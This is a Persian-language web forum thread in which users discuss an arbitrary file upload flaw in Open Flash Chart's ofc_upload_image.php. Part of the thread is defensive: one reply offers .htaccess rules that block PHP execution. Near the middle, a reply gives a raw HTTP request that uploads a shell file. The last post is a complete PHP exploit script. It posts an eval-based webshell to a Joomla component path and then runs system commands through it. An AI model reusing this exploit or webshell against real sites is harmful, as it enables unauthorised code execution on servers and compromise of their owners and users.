اطلاعیه

Collapse
No announcement yet.

پچ کردن باگ در یه فایل php

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • Ù¾Ú† کردن باگ در یه فایل php

    سلام دوستان این فایل php ظاهرا باگ داره چطور می شه پچش کرد ؟

    کد PHP:
    <?php

    //
    // In Open Flash Chart -> save_image debug mode, you
    // will see the 'echo' text in a new window.
    //

    /*
     
    print_r( $_GET );
    print_r( $_POST );
    print_r( $_FILES );

    print_r( $GLOBALS );
    print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

    */


    // default path for the image to be stored //
    $default_path '../tmp-upload-images/';

    if (!
    file_exists($default_path)) mkdir($default_path0777true);

    // full path to the saved image including filename //
    $destination $default_path basename$_GET'name' ] ); 

    echo 
    'Saving your image to: '$destination;
    // print_r( $_POST );
    // print_r( $_SERVER );
    // echo $HTTP_RAW_POST_DATA;

    //
    // POST data is usually string data, but we are passing a RAW .png
    // so PHP is a bit confused and $_POST is empty. But it has saved
    // the raw bits into $HTTP_RAW_POST_DATA
    //

    $jfh fopen($destination'w') or die("can't open file");
    fwrite($jfh$HTTP_RAW_POST_DATA);
    fclose($jfh);

    //
    // LOOK:
    //
    exit();


    //
    // PHP5:
    //


    // default path for the image to be stored //
    $default_path 'tmp-upload-images/';

    if (!
    file_exists($default_path)) mkdir($default_path0777true);

    // full path to the saved image including filename //
    $destination $default_path basename$_FILES'Filedata' ][ 'name' ] ); 

    // move the image into the specified directory //
    if (move_uploaded_file($_FILES'Filedata' ][ 'tmp_name' ], $destination)) {
        echo 
    "The file " basename$_FILES'Filedata' ][ 'name' ] ) . " has been uploaded;";
    } else {
        echo 
    "FILE UPLOAD FAILED";
    }
    ?>


    فرزند هنر باش نه فرزند پدر که هنر زنده کند نام پدر

  • #2
    جابر چقدر مطمئن هستی که باگ داره ؟
    به نظر مشکلی نداره ، اگر هم بوده از variable : HTTP_RAW_POST_DATA بوده که در حال حاضر از جایی مقدار دهی نشده .
    sigpic

    Comment


    • #3
      ظاهرا این باگ نداره .. شاید فایل های دیگه باشن..
      Last edited by FixXxer; 11-16-2013, 09:08 AM.
      [email protected]

      Comment


      • #4
        سلام.
        بله.باگ داره :

        $jfh = fopen($destination, 'w') or die("can't open file");
        fwrite($jfh, $HTTP_RAW_POST_DATA);
        fclose($jfh);
        مجوز write داده شده.
        قسمتی که فایل اضافه می شه :
        $default_path = 'tmp-upload-images/';

        این هم می گه اگه 777 بود این فایل اضافه بشه :

        if (!file_exists($default_path)) mkdir($default_path, 0777, true);

        و با مشخصات Filedata' ][ 'name'

        موفق باشید.
        Islamic Republic Of Iran Security Team

        سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

        ----------------------------------------------
        Iranian Exploit DataBase :

        سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

        Comment


        • #5
          خوب این که باگ نیست ...
          HTTP_ROW_POST_DATA که دیتا رو به صورت ROW میکنه و بعد هم تو یک فایل ذخیره میشه ..
          البته بستگی داره به اینکه چطوری فایل رو بررسی کنه ..
          اینم بگم اگه حتی به خوبی هم فایل رو بررسی کنه و ما یک فایل gif - jpg .. بریزیم میتونیم یه کد دسترسی php بریزیم و بعد هم با یک باگ ترکیبی LFI اون فایل رو با PHP باز کنیم..
          ین هم می گه اگه 777 بود این فایل اضافه بشه :

          if (!file_exists($default_path)) mkdir($default_path, 0777, true);
          این که بررسی میکنه اگر دایرکتوری وجود نداشت اون رو با پرمیشن 777 بسازه...
          Last edited by FixXxer; 11-16-2013, 09:25 AM.
          [email protected]

          Comment


          • #6
            سلام.
            FixXxer عزیز,کاملا حرفت درسته.آخرین حرفم اشتباه نوشتاری داشتم.اما وقتی که اجازه آپلود می ده و اینکه بدون چک کردن می ذاره هر فایلی رو که بخوایم اضافه کنیم و همچنین خودش میاد مکان ذخیره کردن هم درست می کنه,یک باگ - آسیب پذیری - مشکل امنیتی و ... هستش.
            وقتی که بیاد مثل آپلود سنتر ها مجوز بندی کنی و ورودی رو چک کنه,دیگه نمی شه گفت آسیب پذیری.
            این آسیب پذیری چند مدته خیلی کاربرد داره و هموجور باعث هک شدن سایت و سرور ها می شه.
            Islamic Republic Of Iran Security Team

            سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

            ----------------------------------------------
            Iranian Exploit DataBase :

            سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

            Comment


            • #7
              در اینجا ، از آنجایی که Header از کاربر گرفته نمی شود ، مشکلی امنیتی ندارد ! (این قسمت از اسکریپت قبلاً پچ شده - به عبارتی قبلاً صورت مسئله عوض شده)

              Ù¾.Ù†:
              تنها درصورتی که HTTP_RAW_POST_DATA بصورت Global مقدار دهی بشه ، مشکل امنیتی داره و از طریق Header درخواست امکان آپلود شل وجود دارد

              نمونه درخواست آلوده به شل :
              کد PHP:
              $pckt  "POST /ofc_upload_image.php?name=shell.php HTTP/1.1\r\n";
              $pckt .= "Host: {$host}\r\n";
              $pckt .= "Content-Length: ".strlen($ENCODED_SHELL_DATA)."\r\n\r\n{$ENCODED_SHELL_DATA}";

              fputs($sock$pckt); 
              Last edited by ViR-EnG; 11-16-2013, 11:33 AM.
              sigpic

              Comment


              • #8
                HTTP_RAW_POST_DATA ماله php <5 هست از ورژن ۵ به بعد شد _POST و _FILES توی این کد از جفتش استفاده شده که روی هر ورژنی کار کنه !!
                اسیب پذیری هم که داره اینکه هر فایلی میشه آپلود کرد !

                بعضي وقتا شريک تمام خاطراتت فقط يه شماره ى خاموشه

                Comment


                • #9
                  توی خط 47 با Exit از ادامه کار اسکریپت جلوگیری شده .
                  sigpic

                  Comment


                  • #10
                    سلام و درود.
                    نظرات همه دوستان قابل احترام,اما
                    چرا میگین باگ نداره؟خوب من به صورت خط به خط بهتون گفتم.گفتم که این باگ داره هموجور ( لهجه مشهدی ) باگ می ده و خیلی از سایت های اینطوری نفوذ شده و می شه.
                    آقا اینو همین الان عکس گرفتم :

                    http://www.iedb.ir/Amir.JPG
                    http://www.iedb.ir/Amir2.JPG

                    وقت نداشتم وگرنه فیلم هم می گرفتم.اما گویا هستش.
                    Islamic Republic Of Iran Security Team

                    سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

                    ----------------------------------------------
                    Iranian Exploit DataBase :

                    سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

                    Comment


                    • #11
                      شما تونستید که یک فایل بجز تصویر آپلود کنید و باهاش کار کنید، در سورس هیچ قسمتی برای اینکه فایل بررسی بشه وجود نداره و شما از هیچ چیزی سوءاستفاده نکردید، به همین دلیل گفتن باگ نمیشه گفت بهش
                      اما حرف شما هم درست هست، میشه همه چیز باهاش آپلود کرد اما برای یک سیستم آپلودر که قرار بوده بشه باهاش همه چیز آپلود کرد این باگ محسوب نمیشه.
                      این مورد شما ممکنه توسط وب سرور جلوش گرفته بشه(htaccess):

                      کد:
                      php_flag engine 0
                      RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
                      AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
                      Last edited by PersianStar; 11-17-2013, 05:32 AM.
                      sigpic

                      Comment


                      • #12
                        سلام.
                        PersianStar عزیز,من دقیقا همین حرفتو بالا زدم :

                        سلام.
                        FixXxer عزیز,کاملا حرفت درسته.آخرین حرفم اشتباه نوشتاری داشتم.اما وقتی که اجازه آپلود می ده و اینکه بدون چک کردن می ذاره هر فایلی رو که بخوایم اضافه کنیم و همچنین خودش میاد مکان ذخیره کردن هم درست می کنه,یک باگ - آسیب پذیری - مشکل امنیتی و ... هستش.
                        وقتی که بیاد مثل آپلود سنتر ها مجوز بندی کنی و ورودی رو چک کنه,دیگه نمی شه گفت آسیب پذیری.
                        این آسیب پذیری چند مدته خیلی کاربرد داره و هموجور باعث هک شدن سایت و سرور ها می شه.
                        در مورد جلوگیری از این هم که به قول خودتون هم با htaccess می شه,هم اینکه می شه یک خط بهش اضافه کرد که دسترسی رو گرفت.همچنین مجوز کپی فایل رو هم بگیرین تمومه.
                        Islamic Republic Of Iran Security Team

                        سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

                        ----------------------------------------------
                        Iranian Exploit DataBase :

                        سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

                        Comment


                        • #13
                          بله فایل باگ داره این فایل مربوط به یکی از پلاگین های openChart است کخیلی راحت می تونن شل اسکریپت یا فایل php و ... آپلود کنند !!!!

                          اینم از اکسپلویتش

                          کد PHP:
                          <?php

                          echo <<<EOT

                          EOT;


                          $options getopt('u:f:');

                          if(!isset(
                          $options['u'], $options['f']))
                          die(
                          "\n        Usage example: php IDC.php -u http://target.com/ -f 
                          IDC.php\n
                          -u http://target.com/    The full path to Joomla!
                          -f IDC.php             The name of the file to create.\n"
                          );

                          $url     =  $options['u'];
                          $file    =  $options['f'];


                          $shell 
                          "http://www.example.com//components/com_joomleague/assets/classes//tmp-upload-images/{$file}";
                          $url   
                          "http://www.example.com//components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php?name={$file}";

                          $data      "<?php eval(\$_GET['cmd']); ?>";
                          $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
                          rv:15.0) Gecko/20100101 Firefox/15.0.1'
                          ,
                          'Content-Type: text/plain');


                          echo 
                          "        [+] Submitting request to: {$options['u']}\n";


                          $handle curl_init();

                          curl_setopt($handleCURLOPT_URL$url);
                          curl_setopt($handleCURLOPT_HTTPHEADER$headers);
                          curl_setopt($handleCURLOPT_POSTFIELDS$data);
                          curl_setopt($handleCURLOPT_RETURNTRANSFERtrue);

                          $source curl_exec($handle);
                          curl_close($handle);


                          if(!
                          strpos($source'Undefined variable: HTTP_RAW_POST_DATA') &&
                          @
                          fopen($shell'r'))
                          {
                          echo 
                          "        [+] Exploit completed successfully!\n";
                          echo 
                          "        ______________________________________________\n\n
                           
                          {$shell}?cmd=system('id');\n";
                          }
                          else
                          {
                          die(
                          "        [+] Exploit was unsuccessful.\n");
                          }

                          ?>
                          Last edited by jaber; 11-17-2013, 03:45 PM.


                          فرزند هنر باش نه فرزند پدر که هنر زنده کند نام پدر

                          Comment

                          Working...
                          X